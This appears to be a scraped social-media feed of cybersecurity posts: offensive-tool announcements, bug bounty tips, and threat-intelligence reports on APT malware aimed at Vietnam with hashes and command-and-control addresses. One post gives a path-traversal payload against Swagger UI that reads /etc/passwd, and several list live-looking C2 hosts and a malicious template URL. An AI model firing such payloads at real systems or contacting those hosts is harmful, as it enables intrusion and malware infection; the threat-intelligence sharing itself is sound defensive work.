Truong Duy

[Vivek | Cybersecurity @VivekIntel]

🦈 Bruce Firmware — Offensive Security Toolkit for ESP32

An open-source ESP32 firmware designed for Red Team operations and hardware security research.

✨ Features:
• Wi-Fi auditing & network analysis
• BLE, RFID, IR & RF capabilities
• BadUSB and JavaScript scripting
• Supports M5Stack, LilyGO, Cardputer & more
• Web-based interface with modular hardware support

🔗 https://t.co/FZKonh5yxM

#CyberSecurity #RedTeam #ESP32 #InfoSec #OpenSource

[Nicolas Krassas @Dinosn]

Automated Penetration Testing Framework - Open-Source Vulnerability Scanner - Vulnerability Management https://t.co/C49Iok9zy8

[Nicolas Krassas @Dinosn]

encod3d-sec/claudebrain: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian https://t.co/llqiajubPQ

[Truong Duy @Yudtu12]

@AndrewBolis AI

[Truong Duy @Yudtu12]

@Alokkumarzz @Ronycoder YT

[CyCatz @CyCatz_Official]

#bugbountytips #bugbounty Swagger UI LFI Injection

LFI Payload:

/v1/docs//..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/passwd HTTP/1.1

[Bug bounty notes @bugbounty0]

RCE on a Laravel Private Program

#bugbounty
#bugbountytips
#infosec

https://t.co/v9oIFzS23H

[Bug bounty notes @bugbounty0]

OTP brute-force via rate limit bypass

#bugbountytips
#bugbounty
#infosec

https://t.co/bHL46owSB2

[RedDrip Team @RedDrip7]

Possible #CVE-2021-33739 in-the-wild exploit : https://t.co/8umPGBJ6jd
PDB : C:\Users\ghostx\source\repos\test\x64\Release\test.pdb
ShellCode connects to C2: 213.164.205.138:8989

[Florian Hansemann @CyberWarship]

How To: Use mitmproxy to read and modify HTTPS traffic

#infosec #pentest #redteam
https://t.co/W8tcm0AOkX

[Emad Shanab - أبو عبد الله @Alra3ees]

API Checklist,Tips,Wordlists Collection:-

https://t.co/BahItApfM2
https://t.co/75NegPEhRK
https://t.co/Ol5rwGosnr
https://t.co/WLZhQ5veWk
https://t.co/Bhr9PGHbQh
https://t.co/DBzofvFbBD
https://t.co/3LRipGY8ok
https://t.co/Uk9KGzQCbC
https://t.co/BMHIIboBdV

[m4n0w4r @kienbigmummy]

Through cyber security monitoring, #VinCSS has discovered a document containing malicious code with Vietnamese content that was found by @ShadowChasing1 group. This is Part 1 in a series of analyzes this sample: https://t.co/Ctqbdi6pp2

[quoc huy @quochuy71228247]

#APT [APT 1937CN]
CVE 2017-11882
Hash:
-Thông cáo báo chí Kỳ họp thứ nhất của Ủy ban Kiểm tra Trung ương khóa XIII.docx
MD5 1e9f1746c2dbea0df5017afdf8b94189
-Main.jpg
MD5 d598749a8c86b1cdd313ff6c86626c86
-5.t:
MD5d843b58f31c687d22de09a6765b3ba3b
CnC:
45[.]121[.]146[.]88

[Shadow Chaser Group @ShadowChasing1]

Today our researchers have found an interesting implant which target at #Vietnam
ITW:1e9f1746c2dbea0df5017afdf8b94189
filename:Thông cáo báo chí Kỳ họp thứ nhất của Ủy ban Kiểm tra Trung ương khóa XIII.docx
Template-URL:
hxxp://45.121.146.88/Apricot/Main.jpg

[Truong Duy @Yudtu12]

#ẢnhHồsơMới

[Truong Duy @Yudtu12]

ISITDTU CTF 2020 Quals https://t.co/tcBhhzdNkE

[Truong Duy @Yudtu12]

Phân tích mã độc Emotet https://t.co/DxgyGwkFW5

[z3r0 @ccxsaber]

#APT32 #VN #CobaltStrike #Safebrowsing
6d83ea41005d69dbc58200b8657e8f015f4219e4c359d8a79e8aaa165aab1212
NC: feeder.blogdns[.]com

[Shadow Chaser Group @ShadowChasing1]

#redteam or #APT target at Vietnam
ITW:1f9c37e4c38ed12e155502a234951640
filename:Chương trình Hội thảo - Diễn tập Asean-JP.pdf .exe
C2:http://45.77.249[.]92:443/mh7P
Topic:Prevention of transnational cyber attack
load cobaltstrike shellcode and drop decony pdf and execute